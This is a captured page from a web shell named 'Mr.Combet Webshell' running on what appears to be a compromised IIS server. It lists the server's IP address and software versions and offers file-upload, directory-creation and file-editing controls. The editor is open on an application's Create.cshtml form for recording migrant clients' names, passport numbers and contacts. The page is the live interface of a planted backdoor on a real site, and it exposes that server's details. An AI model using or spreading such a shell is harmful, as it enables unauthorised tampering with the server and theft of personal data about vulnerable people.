Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
mapqa
/
Views
/
Mrcmid
/
Edit File Name :
Create.cshtml
@model RER_Project.DataAccess.ViewModels.MRC_MID.MrcMidViewModel @using RER_Project.BusinessLayer.BusinessService @using RER_Project.Core.Helpers @{ ViewBag.Title = "MrcMid Client Create"; var meta = AppUserService.GetCurrent(); } <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> <label style="font-size: medium"><b>MRC/MID - Create</b></label> <hr /> <form id="CreateForm"> <div id="eror_msg"></div> <input type="hidden" id="FollowUpDateNepali" name="FollowUpDateNepali" /> <input type="hidden" id="FollowUpDate" name="FollowUpDate" /> <ul class="nav nav-tabs"> <li class="active"><a href="#tab1" data-toggle="tab">Basic Information</a></li> <li><a href="#tab2" data-toggle="tab">Address</a></li> <li><a href="#tab3" data-toggle="tab">Contact</a></li> </ul> <div class="tab-content"> <div class="tab-pane active" id="tab1"> <br /> <div class="row"> <div class="form-group col-md-6"> <label><strong>Fiscal Year</strong></label> <select type="text" class="form-control required" name="FiscalYear" id="FiscalYear" data-api="/fiscal_year_unlocked/select"></select> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>First Name</strong></label> <input type="text" class="required form-control" onkeypress="return (event.charCode > 64 && event.charCode < 91) || (event.charCode > 96 && event.charCode < 123)" minlength="2" id="FirstName" name="FirstName" /> </div> <div class="form-group col-md-6"> <label><strong>Last Name</strong></label> <input type="text" class="required form-control" minlength="3" onkeypress="return (event.charCode > 64 && event.charCode < 91) || (event.charCode > 96 && event.charCode < 123)" minlength="2" id="LastName" name="LastName" /> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Name Of Household Head</strong></label> <input type="text" class="required form-control" id="NameOfHh" name="NameOfHh" /> </div> <div class="form-group col-md-6"> <label><strong>Relation With Household Head</strong></label> <select type="text" class="form-control required" name="RelationWithHhHead" id="RelationWithHhHead" data-api="/relation-with-household-head/select"></select> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>No Of Family Members</strong></label> <input pattern="\d*" maxlength="2" oninput="validity.valid||(value='');" step="1" type="text" class="required form-control" id="NoOfFamilyMembers" name="NoOfFamilyMembers" /> </div> <div class="form-group col-md-6"> <label><strong>Migration Status</strong></label> <select type="text" class="form-control required" name="MigrationStatus" id="MigrationStatus" data-api="/migration-status/select" onchange="onChangeMigrationStatus(this)"></select> </div> <div class="col-lg-12"> <a href="/mrc-mid" class="btn btn-default pull-left">Back</a> <a class="btn btn-primary btnNext pull-right"> Next <i class="fa fa-arrow-circle-o-right" aria-hidden="true"></i></a> </div> </div> </div> <div class="tab-pane" id="tab2"> <br /> <div class="row"> <div class="form-group col-md-6"> <label><strong>Province</strong></label> <select type="text" class="form-control required" name="ProvinceId" id="ProvinceId" data-api="/province/select/threeStates"></select> </div> <div class="form-group col-md-6"> <label><strong>District</strong></label> <select type="text" class="form-control required" name="DistrictId" id="DistrictId" data-api="/districts/select" disabled=""></select> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Municipality</strong></label> <select type="text" class="form-control required" id="MunicipalityId" name="MunicipalityId" data-api="/municipality/select" disabled=""></select> </div> <div class="form-group col-md-6"> <label><strong>Ward No</strong></label> <input pattern="\d*" maxlength="2" oninput="validity.valid||(value='');" step="1" type="text" class="required form-control" id="WardNo" name="WardNo" /> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Origin</strong></label> <select type="text" class="form-control required" name="Origin" id="Origin" data-api="/origin/select"></select> </div> <div class="form-group col-md-6"> <label><strong>Settlement</strong></label> <input type="text" class="required form-control" id="Settlement" name="Settlement" /> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Age</strong></label> <input type="number" min="0" oninput="validity.valid||(value='');" step="1" max="130" class=" form-control digit required" id="Age" name="Age" /> </div> <div class="form-group col-md-6"> <label><strong>Gender</strong></label> <select type="text" class="form-control required" name="Gender" id="Gender" data-api="/genders/select"></select> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Ethnicity</strong></label> <select type="text" class="form-control required" name="Ethnicity" id="Ethnicity" data-api="/ethnicity/select"></select> </div> <div class="form-group col-md-6"> <label><strong>Education Status</strong></label> <select type="text" class="form-control required" name="EducationStatus" id="EducationStatus" data-api="/mrcmid/literacy_status/select"></select> </div> </div> <a href="/mrc-mid" class="btn btn-default pull-left" >Back</a> <a class="btn btn-primary btnNext pull-right"> Next <i class="fa fa-arrow-circle-o-right" aria-hidden="true"></i></a> <a class="btn btn-primary btnPrevious pull-right" style="margin-right:5px"><i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Previous</a> <br /> <br /> </div> <div class="tab-pane" id="tab3"> <br /> <div class="row"> <div class="form-group col-md-6"> <label><strong>Clients Contact</strong></label> <input pattern="\d*" maxlength="10" oninput="validity.valid||(value='');" step="1" type="text" class=" form-control digits required" id="ClientsContact" name="ClientsContact" /> </div> <div class="form-group col-md-6"> <label><strong>Family Contacts</strong></label> <input pattern="\d*" maxlength="10" oninput="validity.valid||(value='');" step="1" type="text" class=" form-control digits" id="FamilyContacts" name="FamilyContacts" /> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Maritial Status</strong></label> <select type="text" class="form-control required" name="MaritialStatus" id="MaritialStatus" data-api="/maritial-status/select"></select> </div> <div class="form-group col-md-6"> <label><strong>Passport Status</strong></label> <select type="text" class="form-control required" name="PassportStatus" id="PassportStatus" data-api="/passport-status/select" onchange="onChangePasswordStatus(this)"></select> </div> </div> <div class="row"> <div class="has_password_no form-group col-md-6"> <label><strong>Passport No</strong></label> <input type="text" class=" form-control" id="PassportNo" name="PassportNo" maxlength="15" /> </div> <div class="form-group col-md-6"> <label><strong>Refer To MRC-MID By</strong></label> <select type="text" class="form-control required" name="ReferFrom" id="ReferFrom" data-api="/mrcmid/refer_from/select"></select> </div> </div> <div class="is_non_migrant"> <div class="row"> <div class="form-group col-md-6"> <label><strong>Had you gone Foreign Employment?</strong></label> <select type="text" class="form-control " name="ForeignEmployement" id="ForeignEmployement" data-api="/status/select" onchange="onChangeForeignEmployment(this)"></select> </div> <div class="has_foreign_employment form-group col-md-6"> <label><strong>Which Country?</strong></label> <input type="text" class=" form-control" id="ForeignCountry" name="ForeignCountry" /> </div> </div> <div class="row has_foreign_employment"> <div class="form-group col-md-6"> <label><strong>Types Of Job</strong></label> <select type="text" class="form-control " name="TypeOfJob" id="TypeOfJob" data-api="/mrcmid/types_of_job/select"></select> @* <input type="text" class=" form-control" id="TypeOfJob" name="TypeOfJob" />*@ </div> <div class="form-group col-md-6"> <label><strong>No. of Years spent abroad</strong></label> <input pattern="\d*" maxlength="2" oninput="validity.valid||(value='');" step="1" type="text" class=" form-control" id="NoOfYearsSpentAbroad" name="NoOfYearsSpentAbroad" /> </div> </div> <div class="row has_foreign_employment"> <div class="form-group col-md-6"> <label><strong>Have you gain any Skills?</strong></label> <select type="text" class="form-control " name="GainedSkill" id="GainedSkill" data-api="/status/select"></select> </div> <div class="form-group col-md-6"> <label><strong>Reason of returning</strong></label> <select type="text" class="form-control " name="ReasonOfReturning" id="ReasonOfReturning" data-api="/returning-result/select"></select> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Foreign Employment Status</strong></label> <select type="text" class="form-control " name="ForeignEmployementStatus" id="ForeignEmployementStatus" data-api="/mrcmid/foreign_employment_status/select"></select> </div> <div class="form-group col-md-6"> <label><strong>Have you any skill to work abroad?</strong></label> <select type="text" class="form-control " name="SkillToWorkAbroad" id="SkillToWorkAbroad" data-api="/status/select"></select> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Have you any bank account?</strong></label> <select type="text" class="form-control " name="BankAccount" id="BankAccount" data-api="/status/select"></select> </div> </div> <div class="row"> <div class="form-group col-md-6"> @* Refer To *@ <label><strong>Refer To Organization</strong></label> <select type="text" class="form-control " name="ReferTo" id="ReferTo" data-api="/mrcmid/refer_to/select"></select> </div> <div class="form-group col-md-6"> <label><strong>If Referal is needed; Referred Organization?</strong></label> <input type="text" class=" form-control" id="RefereedOrganization" name="RefereedOrganization" /> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Referred for</strong></label> <input type="text" class=" form-control" id="RefereedFor" name="RefereedFor" /> </div> <div class="form-group col-md-6"> <label><strong>Needs Follow Up?</strong></label> <select type="text" class="form-control " name="FollowUp" id="FollowUp" data-api="/status/select"></select> </div> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Mention Date of Client Visit</strong></label> <input type="text" class=" form-control required" id="followUpDatePicker" /> </div> </div> <div class="row"> <div class="pull-left"> <a class="btn btn-primary btnPrevious"><i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Previous</a> </div> <div class="pull-right"> @if (meta.RoleId == (int)EnumRoleHelper.Roles.Admin || meta.RoleId == (int)EnumRoleHelper.Roles.MnE || meta.RoleId == (int)EnumRoleHelper.Roles.MnEOfficer || meta.RoleId == (int)EnumRoleHelper.Roles.MRC) { <input type="button" value="Save" class="btn btn-primary" id="SubmitButton" /><span> </span> } <a href="/mrc-mid" class="btn btn-default">Back</a> </div> </div> </div> </div> </form> </div> </div> </div> </div> </div> <script src="~/Scripts/NepaliDatePicker/jquery.nepaliDatePicker.min.js"></script> <link href="~/Content/NepaliDatePicker/nepaliDatePicker.min.css" rel="stylesheet" /> <script> $(document).ready(function () { window.initializeSelectApis(); window.initializeCascadeLocation(); $(".is_non_migrant").hide(); $(".has_password_no").hide(); $(".has_foreign_employment").hide(); initializeDatePicker(); }) function initializeDatePicker() { $("#followUpDatePicker").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true }); $("#followUpDatePicker").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#FollowUpDate").val(datePickerData.adDate.toLocaleDateString()); var mentionEnglishDate = document.getElementById("FollowUpDate").value; $("#FollowUpDateNepali").val(datePickerData.bsYear + "-" + datePickerData.bsMonth + "-" + datePickerData.bsDate); }) } function onChangeMigrationStatus(select) { if (select.value === "3") { //if migrate status is "Non Migrant " then hide non_migrant field $(".is_non_migrant").hide(); } else { $(".is_non_migrant").show(); } }; function onChangePasswordStatus(select) { if (select.value === "Yes") { //if password status = "yes" he/she has to enter password no $(".has_password_no").show(); } else { $("#PassportNo").val(""); $(".has_password_no").hide(); } }; function onChangeForeignEmployment(select) { if (select.value === "Yes") { //If has foreign employment = yes then enabled 5 field $(".has_foreign_employment").show(); } else { $(".has_foreign_employment").hide(); } }; $('.btnNext').click(function () { $('.nav-tabs > .active').next('li').find('a').trigger('click'); }); $('.btnPrevious').click(function () { $('.nav-tabs > .active').prev('li').find('a').trigger('click'); }); $("#SubmitButton").off("click").on("click", function () { var migrationStatus = $('#MigrationStatus').val(); //alert(migrationStatus); //return; var passportStatus = $('#PassportStatus').val(); var foreignEmployment = $('#ForeignEmployement').val(); if (migrationStatus == "2") { } if (migrationStatus == '3') { debugger; $("#ForeignEmployment").val(""); $("#ForeignCountry").val(""); $("#TypeOfJob").val(""); $("#NoOfYearsSpentAbroad").val(""); $("#GainedSkill").val(""); $("#ReasonOfReturning").val(""); $('#ForeignEmploymentStatus').val(""); $('#SkillToWorkAbroad').val(""); $('#BankAccount').val(""); // $('#BankName').val(""); $('#ReferTo').val(""); $('#RefereedOrganization').val(""); $('#RefereedFor').val(""); $("#ForeignEmployment").removeClass("required"); $("#ForeignCountry").removeClass("required"); $("#TypeOfJob").removeClass("required"); $("#NoOfYearsSpentAbroad").removeClass("required"); $("#GainedSkill").removeClass("required"); $("#ReasonOfReturning").removeClass("required"); $('#ForeignEmploymentStatus').removeClass("required"); $('#SkillToWorkAbroad').removeClass("requried"); $('#BankAccount').removeClass("requried"); // $('#BankName').removeClass("requried"); $('#ReferTo').removeClass("requried"); $('#RefereedOrganization').removeClass("requried"); $('#RefereedFor').removeClass("requried"); } if (foreignEmployment === 'No') { //empty 5 field $('#ForeignCountry').val(''); $('#TypeOfJob').val(''); $('#GainedSkill').val(''); $('#NoOfYearsSpentAbroad').val(''); $('#ReasonOfReturning').val(''); //remove required from 5 field $('#ForeignCountry').removeClass("requried"); $('#TypeOfJob').removeClass("requried"); $("#GainedSkill").removeClass("required"); $("#NoOfYearsSpentAbroad").removeClass("required"); $("#ReasonOfReturning").removeClass("required"); } if (passportStatus === 'No') { $("#PassportNo").removeClass("required"); $("#PassportNo").val(""); } function request(model) { const url = "/mrc-mid/create"; const data = JSON.stringify(model); return window.getAjaxRequest(url, "POST", data); } const form = $("#CreateForm"); $.validator.unobtrusive.parse(form); if (!form.valid()) { return false; }; if (!window.confirmAction()) { return; }; WorkForce.loader.show(); var data = window.serializeForm(form); debugger; function getModel() { return ({ MrcMid: window.serializeForm(form) }); } //const model = window.serializeForm(form); const model = getModel(); const ajax = request(model); ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); window.location = "/mrc-mid"; }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); }) </script> <style> .nav-tabs > li.active > a { background-color: gray !important; border: medium none; border-radius: 0; color: white; } .anim { transition: background 5s linear; } .highlight { background: gray; } .normal { background: transparent; } </style>
Save